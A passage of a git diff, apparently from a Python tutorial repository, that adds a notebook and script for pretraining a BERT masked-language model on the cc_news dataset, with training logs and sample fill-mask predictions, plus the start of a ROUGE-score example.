+ " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"mask_token\": \"[MASK]\",\n", + " \"max_len\": 512,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_max_length\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token\": \"[PAD]\",\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n" + ] + } + ], + "source": [ + "# when the tokenizer is trained and configured, load it as BertTokenizerFast\n", + "tokenizer = BertTokenizerFast.from_pretrained(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true, + "base_uri": "https://localhost:8080/", + "height": 66, + "referenced_widgets": [ + "c3a30fb959aa47f889692b518b2c1664", + "bed4e885cf5d4b82a38833820b8e118f", + "4589cb842c7842ddb0e9bca6db71d590", + "3748fb75842f4392b40fbfab0b7c9caa", + "938c3b47fef24ad48b0ace7e7dcfcd80", + "f10afe04e61d4edeb33d8907a1192891", + "d84d85ce2d3f4dd491a44b97e653e175", + "54b4cf2d58ba4f87aec5070dbd1ff801", + "bc97183430e34db4b073305ce07d6f41", + "c082e56c91ce4bb4a4bb1e0b0001eaa2", + "6c082c2cd59f483981b4839dff47e071", + "62fe563ea6a74aa59833ce78423213da" + ] + }, + "id": "sYw3cjdQ0pHT", + "outputId": "277e31b9-2391-4538-d02d-4458e23f3100" + }, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "c3a30fb959aa47f889692b518b2c1664", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + " 0%| | 0/638 [00:00= max_length:\n", + " total_length = (total_length // max_length) * max_length\n", + " # Split by chunks of max_len.\n", + " result = {\n", + " k: [t[i : i + max_length] for i in range(0, total_length, max_length)]\n", + " for k, t in concatenated_examples.items()\n", + " }\n", + " return result\n", + "\n", + "# Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a\n", + "# remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value\n", + "# might be slower to preprocess.\n", + "#\n", + "# To speed up this part, we use multiprocessing. See the documentation of the map method for more information:\n", + "# https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map\n", + "if not truncate_longer_samples:\n", + " train_dataset = train_dataset.map(group_texts, batched=True,\n", + " desc=f\"Grouping texts in chunks of {max_length}\")\n", + " test_dataset = test_dataset.map(group_texts, batched=True,\n", + " desc=f\"Grouping texts in chunks of {max_length}\")\n", + " # convert them from lists to torch tensors\n", + " train_dataset.set_format(\"torch\")\n", + " test_dataset.set_format(\"torch\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "dZ0oYZbk-SSh", + "outputId": "bf5b60bb-917a-42b9-eba8-531fa86df0f9" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(643843, 71357)" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(train_dataset), len(test_dataset)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "Mslndt81024t" + }, + "outputs": [], + "source": [ + "# initialize the model with the config\n", + "model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length)\n", + "model = BertForMaskedLM(config=model_config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "kmFCTByJ1OI3" + }, + "outputs": [], + "source": [ + "# initialize the data collator, randomly masking 20% (default is 15%) of the tokens for the Masked Language\n", + "# Modeling (MLM) task\n", + "data_collator = DataCollatorForLanguageModeling(\n", + " tokenizer=tokenizer, mlm=True, mlm_probability=0.2\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "IKJdnkAd1uYT", + "outputId": "81928d26-95d6-4805-a180-683af3a88a2e" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "using `logging_steps` to initialize `eval_steps` to 1000\n", + "PyTorch: setting up devices\n", + "The default value for the training argument `--report_to` will change in v5 (from all installed integrations to none). In v5, you will need to use `--report_to all` to get the same behavior as now. You should start updating your code and make this info disappear :-).\n" + ] + } + ], + "source": [ + "training_args = TrainingArguments(\n", + " output_dir=model_path, # output directory to where save model checkpoint\n", + " evaluation_strategy=\"steps\", # evaluate each `logging_steps` steps\n", + " overwrite_output_dir=True, \n", + " num_train_epochs=10, # number of training epochs, feel free to tweak\n", + " per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits\n", + " gradient_accumulation_steps=8, # accumulating the gradients before updating the weights\n", + " per_device_eval_batch_size=64, # evaluation batch size\n", + " logging_steps=1000, # evaluate, log and save model checkpoints every 1000 step\n", + " save_steps=1000,\n", + " # load_best_model_at_end=True, # whether to load the best model (in terms of loss) at the end of training\n", + " # save_total_limit=3, # whether you don't have much space so you let only 3 model weights saved in the disk\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "OMKVmXZN2o7c" + }, + "outputs": [], + "source": [ + "# initialize the trainer and pass everything to it\n", + "trainer = Trainer(\n", + " model=model,\n", + " args=training_args,\n", + " data_collator=data_collator,\n", + " train_dataset=train_dataset,\n", + " eval_dataset=test_dataset,\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": { + "id": "HYsgN58E2tFD", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "outputId": "bd4a522a-4fd4-4d4f-fce6-a9fc0cb4cbef" + }, + "outputs": [ + { + "metadata": { + "tags": null + }, + "name": "stderr", + "output_type": "stream", + "text": [ + "The following columns in the training set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "/usr/local/lib/python3.7/dist-packages/transformers/optimization.py:309: FutureWarning: This implementation of AdamW is deprecated and will be removed in a future version. Use the PyTorch implementation torch.optim.AdamW instead, or set `no_deprecation_warning=True` to disable this warning\n", + " FutureWarning,\n", + "***** Running training *****\n", + " Num examples = 643843\n", + " Num Epochs = 10\n", + " Instantaneous batch size per device = 10\n", + " Total train batch size (w. parallel, distributed & accumulation) = 80\n", + " Gradient Accumulation steps = 8\n", + " Total optimization steps = 80480\n" + ] + }, + { + "data": { + "text/html": [ + "\n", + "
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StepTraining LossValidation Loss
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StepTraining LossValidation Loss
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50006.3323006.307063
60006.2989006.275374

" + ] + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stderr", + "text": [ + "Saving model checkpoint to pretrained-bert/checkpoint-6000\n", + "Configuration saved in pretrained-bert/checkpoint-6000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-6000/pytorch_model.bin\n" + ] + }, + { + "output_type": "error", + "ename": "KeyboardInterrupt", + "evalue": "ignored", + "traceback": [ + "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)", + "\u001b[0;32m\u001b[0m in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[1;32m 1\u001b[0m \u001b[0;31m# train the model\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 2\u001b[0;31m \u001b[0mtrainer\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtrain\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtrain\u001b[0;34m(self, resume_from_checkpoint, trial, ignore_keys_for_eval, **kwargs)\u001b[0m\n\u001b[1;32m 1420\u001b[0m \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1421\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1422\u001b[0;31m \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1423\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1424\u001b[0m if (\n", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtraining_step\u001b[0;34m(self, model, inputs)\u001b[0m\n\u001b[1;32m 2027\u001b[0m \u001b[0mloss\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdeepspeed\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mloss\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 2028\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 2029\u001b[0;31m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 2030\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 2031\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdetach\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/_tensor.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(self, gradient, retain_graph, create_graph, inputs)\u001b[0m\n\u001b[1;32m 361\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 362\u001b[0m inputs=inputs)\n\u001b[0;32m--> 363\u001b[0;31m \u001b[0mtorch\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mautograd\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgradient\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 364\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 365\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mregister_hook\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mhook\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/autograd/__init__.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(tensors, grad_tensors, retain_graph, create_graph, grad_variables, inputs)\u001b[0m\n\u001b[1;32m 173\u001b[0m Variable._execution_engine.run_backward( # Calls into the C++ engine to run the backward pass\n\u001b[1;32m 174\u001b[0m \u001b[0mtensors\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgrad_tensors_\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 175\u001b[0;31m allow_unreachable=True, accumulate_grad=True) # Calls into the C++ engine to run the backward pass\n\u001b[0m\u001b[1;32m 176\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 177\u001b[0m def grad(\n", + "\u001b[0;31mKeyboardInterrupt\u001b[0m: " + ] + } + ], + "source": [ + "# train the model\n", + "trainer.train()" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": { + "id": "dUZSRAxV2vp-", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "9aac4c86-199d-4ba3-9b79-614ba8c97fe1" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "loading configuration file pretrained-bert/checkpoint-6000/config.json\n", + "Model config BertConfig {\n", + " \"architectures\": [\n", + " \"BertForMaskedLM\"\n", + " ],\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"torch_dtype\": \"float32\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n", + "loading weights file pretrained-bert/checkpoint-6000/pytorch_model.bin\n", + "All model checkpoint weights were used when initializing BertForMaskedLM.\n", + "\n", + "All the weights of BertForMaskedLM were initialized from the model checkpoint at pretrained-bert/checkpoint-6000.\n", + "If your task is similar to the task the model of the checkpoint was trained on, you can already use BertForMaskedLM for predictions without further training.\n", + "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n", + "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n", + "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n", + "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n", + "loading file pretrained-bert/vocab.txt\n", + "loading file None\n", + "loading file None\n", + "loading file None\n", + "loading file None\n", + "loading configuration file pretrained-bert/config.json\n", + "Model config BertConfig {\n", + " \"_name_or_path\": \"pretrained-bert\",\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"cls_token\": \"[CLS]\",\n", + " \"do_lower_case\": true,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"mask_token\": \"[MASK]\",\n", + " \"max_len\": 512,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_max_length\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token\": \"[PAD]\",\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n", + "loading configuration file pretrained-bert/config.json\n", + "Model config BertConfig {\n", + " \"_name_or_path\": \"pretrained-bert\",\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"cls_token\": \"[CLS]\",\n", + " \"do_lower_case\": true,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"mask_token\": \"[MASK]\",\n", + " \"max_len\": 512,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_max_length\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token\": \"[PAD]\",\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n" + ] + } + ], + "source": [ + "# when you load from pretrained\n", + "model = BertForMaskedLM.from_pretrained(os.path.join(model_path, \"checkpoint-6000\"))\n", + "tokenizer = BertTokenizerFast.from_pretrained(model_path)\n", + "# or simply use pipeline\n", + "fill_mask = pipeline(\"fill-mask\", model=model, tokenizer=tokenizer)" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "vJO-1w15ARHs", + "outputId": "346b2c7b-d65b-44f1-9fca-e3493435aca2" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "{'score': 0.06537885963916779, 'token': 1556, 'token_str': 'the', 'sequence': 'it is known that the is the capital of germany'}\n", + "{'score': 0.036817438900470734, 'token': 20, 'token_str': '.', 'sequence': 'it is known that. is the capital of germany'}\n", + "{'score': 0.0335884727537632, 'token': 18, 'token_str': ',', 'sequence': 'it is known that, is the capital of germany'}\n", + "{'score': 0.027838902547955513, 'token': 1573, 'token_str': 'of', 'sequence': 'it is known that of is the capital of germany'}\n", + "{'score': 0.027804739773273468, 'token': 1609, 'token_str': 'is', 'sequence': 'it is known that is is the capital of germany'}\n" + ] + } + ], + "source": [ + "# perform predictions\n", + "example = \"It is known that [MASK] is the capital of Germany\"\n", + "for prediction in fill_mask(example):\n", + " print(prediction)" + ] + }, + { + "cell_type": "code", + "source": [ + "# perform predictions\n", + "examples = [\n", + " \"Today's most trending hashtags on [MASK] is Donald Trump\",\n", + " \"The [MASK] was cloudy yesterday, but today it's rainy.\",\n", + "]\n", + "for example in examples:\n", + " for prediction in fill_mask(example):\n", + " print(f\"{prediction['sequence']}, confidence: {prediction['score']}\")\n", + " print(\"=\"*50)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "8ROoCqpssCb9", + "outputId": "cb795c9c-b77d-42ed-c779-0cf963fcddd2" + }, + "execution_count": 26, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "today's most trending hashtags on trump is donald trump, confidence: 0.05097166821360588\n", + "today's most trending hashtags on. is donald trump, confidence: 0.04177526384592056\n", + "today's most trending hashtags on'is donald trump, confidence: 0.040809836238622665\n", + "today's most trending hashtags on the is donald trump, confidence: 0.03832641988992691\n", + "today's most trending hashtags on, is donald trump, confidence: 0.024022724479436874\n", + "==================================================\n", + "the. was cloudy yesterday, but today it's rainy., confidence: 0.0627809464931488\n", + "the the was cloudy yesterday, but today it's rainy., confidence: 0.0463297963142395\n", + "the, was cloudy yesterday, but today it's rainy., confidence: 0.03323638439178467\n", + "the to was cloudy yesterday, but today it's rainy., confidence: 0.025685036554932594\n", + "the'was cloudy yesterday, but today it's rainy., confidence: 0.024147875607013702\n", + "==================================================\n" + ] + } + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": { + "id": "gGkOvmFaYkF2", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "8deff2cf-85dd-42ef-eb1d-4a03a78cc9fc" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Fri Jun 3 08:32:51 2022 \n", + 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ECC |\n", + "| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |\n", + "| | | MIG M. |\n", + "|===============================+======================+======================|\n", + "| 0 Tesla P100-PCIE... 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00000000..0e60ca68 --- /dev/null +++ b/machine-learning/nlp/pretraining-bert/pretrainingbert.py @@ -0,0 +1,223 @@ +# -*- coding: utf-8 -*- +"""PretrainingBERT_PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1An1VNpKKMRVrwcdQQNSe7Omh_fl2Gj-2 +""" + +!pip install datasets transformers==4.18.0 sentencepiece + +from datasets import * +from transformers import * +from tokenizers import * +import os +import json + +# download and prepare cc_news dataset +dataset = load_dataset("cc_news", split="train") + +# split the dataset into training (90%) and testing (10%) +d = dataset.train_test_split(test_size=0.1) +d["train"], d["test"] + +for t in d["train"]["text"][:3]: + print(t) + print("="*50) + +# if you have your custom dataset +# dataset = LineByLineTextDataset( +# tokenizer=tokenizer, +# file_path="path/to/data.txt", +# block_size=64, +# ) + +# or if you have huge custom dataset separated into files +# load the splitted files +# files = ["train1.txt", "train2.txt"] # train3.txt, etc. +# dataset = load_dataset("text", data_files=files, split="train") + +# if you want to train the tokenizer from scratch (especially if you have custom +# dataset loaded as datasets object), then run this cell to save it as files +# but if you already have your custom data as text files, there is no point using this +def dataset_to_text(dataset, output_filename="data.txt"): + """Utility function to save dataset text to disk, + useful for using the texts to train the tokenizer + (as the tokenizer accepts files)""" + with open(output_filename, "w") as f: + for t in dataset["text"]: + print(t, file=f) + +# save the training set to train.txt +dataset_to_text(d["train"], "train.txt") +# save the testing set to test.txt +dataset_to_text(d["test"], "test.txt") + +special_tokens = [ + "[PAD]", "[UNK]", "[CLS]", "[SEP]", "[MASK]", "", "" +] +# if you want to train the tokenizer on both sets +# files = ["train.txt", "test.txt"] +# training the tokenizer on the training set +files = ["train.txt"] +# 30,522 vocab is BERT's default vocab size, feel free to tweak +vocab_size = 30_522 +# maximum sequence length, lowering will result to faster training (when increasing batch size) +max_length = 512 +# whether to truncate +truncate_longer_samples = False + +# initialize the WordPiece tokenizer +tokenizer = BertWordPieceTokenizer() +# train the tokenizer +tokenizer.train(files=files, vocab_size=vocab_size, special_tokens=special_tokens) +# enable truncation up to the maximum 512 tokens +tokenizer.enable_truncation(max_length=max_length) + +model_path = "pretrained-bert" +# make the directory if not already there +if not os.path.isdir(model_path): + os.mkdir(model_path) + +# save the tokenizer +tokenizer.save_model(model_path) + +# dumping some of the tokenizer config to config file, +# including special tokens, whether to lower case and the maximum sequence length +with open(os.path.join(model_path, "config.json"), "w") as f: + tokenizer_cfg = { + "do_lower_case": True, + "unk_token": "[UNK]", + "sep_token": "[SEP]", + "pad_token": "[PAD]", + "cls_token": "[CLS]", + "mask_token": "[MASK]", + "model_max_length": max_length, + "max_len": max_length, + } + json.dump(tokenizer_cfg, f) + +# when the tokenizer is trained and configured, load it as BertTokenizerFast +tokenizer = BertTokenizerFast.from_pretrained(model_path) + +def encode_with_truncation(examples): + """Mapping function to tokenize the sentences passed with truncation""" + return tokenizer(examples["text"], truncation=True, padding="max_length", + max_length=max_length, return_special_tokens_mask=True) + +def encode_without_truncation(examples): + """Mapping function to tokenize the sentences passed without truncation""" + return tokenizer(examples["text"], return_special_tokens_mask=True) + +# the encode function will depend on the truncate_longer_samples variable +encode = encode_with_truncation if truncate_longer_samples else encode_without_truncation + +# tokenizing the train dataset +train_dataset = d["train"].map(encode, batched=True) +# tokenizing the testing dataset +test_dataset = d["test"].map(encode, batched=True) + +if truncate_longer_samples: + # remove other columns and set input_ids and attention_mask as PyTorch tensors + train_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"]) + test_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"]) +else: + # remove other columns, and remain them as Python lists + test_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"]) + train_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"]) + +from itertools import chain +# Main data processing function that will concatenate all texts from our dataset and generate chunks of +# max_seq_length. +# grabbed from: https://github.com/huggingface/transformers/blob/main/examples/pytorch/language-modeling/run_mlm.py +def group_texts(examples): + # Concatenate all texts. + concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()} + total_length = len(concatenated_examples[list(examples.keys())[0]]) + # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can + # customize this part to your needs. + if total_length >= max_length: + total_length = (total_length // max_length) * max_length + # Split by chunks of max_len. + result = { + k: [t[i : i + max_length] for i in range(0, total_length, max_length)] + for k, t in concatenated_examples.items() + } + return result + +# Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a +# remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value +# might be slower to preprocess. +# +# To speed up this part, we use multiprocessing. See the documentation of the map method for more information: +# https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map +if not truncate_longer_samples: + train_dataset = train_dataset.map(group_texts, batched=True, + desc=f"Grouping texts in chunks of {max_length}") + test_dataset = test_dataset.map(group_texts, batched=True, + desc=f"Grouping texts in chunks of {max_length}") + # convert them from lists to torch tensors + train_dataset.set_format("torch") + test_dataset.set_format("torch") + +len(train_dataset), len(test_dataset) + +# initialize the model with the config +model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length) +model = BertForMaskedLM(config=model_config) + +# initialize the data collator, randomly masking 20% (default is 15%) of the tokens for the Masked Language +# Modeling (MLM) task +data_collator = DataCollatorForLanguageModeling( + tokenizer=tokenizer, mlm=True, mlm_probability=0.2 +) + +training_args = TrainingArguments( + output_dir=model_path, # output directory to where save model checkpoint + evaluation_strategy="steps", # evaluate each `logging_steps` steps + overwrite_output_dir=True, + num_train_epochs=10, # number of training epochs, feel free to tweak + per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits + gradient_accumulation_steps=8, # accumulating the gradients before updating the weights + per_device_eval_batch_size=64, # evaluation batch size + logging_steps=1000, # evaluate, log and save model checkpoints every 1000 step + save_steps=1000, + # load_best_model_at_end=True, # whether to load the best model (in terms of loss) at the end of training + # save_total_limit=3, # whether you don't have much space so you let only 3 model weights saved in the disk +) + +# initialize the trainer and pass everything to it +trainer = Trainer( + model=model, + args=training_args, + data_collator=data_collator, + train_dataset=train_dataset, + eval_dataset=test_dataset, +) + +# train the model +trainer.train() + +# when you load from pretrained +model = BertForMaskedLM.from_pretrained(os.path.join(model_path, "checkpoint-6000")) +tokenizer = BertTokenizerFast.from_pretrained(model_path) +# or simply use pipeline +fill_mask = pipeline("fill-mask", model=model, tokenizer=tokenizer) + +# perform predictions +example = "It is known that [MASK] is the capital of Germany" +for prediction in fill_mask(example): + print(prediction) + +# perform predictions +examples = [ + "Today's most trending hashtags on [MASK] is Donald Trump", + "The [MASK] was cloudy yesterday, but today it's rainy.", +] +for example in examples: + for prediction in fill_mask(example): + print(f"{prediction['sequence']}, confidence: {prediction['score']}") + print("="*50) + +!nvidia-smi \ No newline at end of file diff --git a/machine-learning/nlp/pretraining-bert/requirements.txt b/machine-learning/nlp/pretraining-bert/requirements.txt new file mode 100644 index 00000000..8dd20daf --- /dev/null +++ b/machine-learning/nlp/pretraining-bert/requirements.txt @@ -0,0 +1,3 @@ +transformers==4.18.0 +datasets +sentencepiece \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/README.md b/machine-learning/nlp/rouge-score/README.md new file mode 100644 index 00000000..21d86a14 --- /dev/null +++ b/machine-learning/nlp/rouge-score/README.md @@ -0,0 +1 @@ +# [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/requirements.txt b/machine-learning/nlp/rouge-score/requirements.txt new file mode 100644 index 00000000..7f26c102 --- /dev/null +++ b/machine-learning/nlp/rouge-score/requirements.txt @@ -0,0 +1 @@ +rouge-score \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/rouge.py b/machine-learning/nlp/rouge-score/rouge.py new file mode 100644 index 00000000..4b00c4c7 --- /dev/null +++ b/machine-learning/nlp/rouge-score/rouge.py @@ -0,0 +1,22 @@ +from rouge_score import rouge_scorer + +scorer = rouge_scorer.RougeScorer(['rouge1', 